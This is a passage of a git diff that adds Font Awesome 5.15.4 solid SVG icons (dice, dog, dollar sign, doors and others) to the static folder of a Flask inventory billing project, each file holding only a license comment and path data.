9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-five.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-five.svg new file mode 100644 index 00000000..0d29a489 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-five.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-four.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-four.svg new file mode 100644 index 00000000..2c436a9e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-four.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-one.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-one.svg new file mode 100644 index 00000000..bed9eae5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-one.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-six.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-six.svg new file mode 100644 index 00000000..6ed25cad --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-six.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-three.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-three.svg new file mode 100644 index 00000000..b1d6c06b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-three.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-two.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-two.svg new file mode 100644 index 00000000..9ddded57 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-two.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice.svg new file mode 100644 index 00000000..299d11a9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/digital-tachograph.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/digital-tachograph.svg new file mode 100644 index 00000000..e87c1a47 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/digital-tachograph.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/directions.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/directions.svg new file mode 100644 index 00000000..95dfa4b5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/directions.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/disease.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/disease.svg new file mode 100644 index 00000000..168a03af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/disease.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/divide.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/divide.svg new file mode 100644 index 00000000..869b3da2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/divide.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dizzy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dizzy.svg new file mode 100644 index 00000000..fbdbf9d8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dizzy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dna.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dna.svg new file mode 100644 index 00000000..be3b2bee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dna.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dog.svg new file mode 100644 index 00000000..42a6a036 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dollar-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dollar-sign.svg new file mode 100644 index 00000000..ad830481 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dollar-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly-flatbed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly-flatbed.svg new file mode 100644 index 00000000..5358c78e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly-flatbed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly.svg new file mode 100644 index 00000000..55ce4f59 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dolly.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/donate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/donate.svg new file mode 100644 index 00000000..b1ec7551 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/donate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-closed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-closed.svg new file mode 100644 index 00000000..4b3206b7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-closed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-open.svg new file mode 100644 index 00000000..d0dbff47 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/door-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dot-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dot-circle.svg new file mode 100644 index 00000000..4f0103be --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dot-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 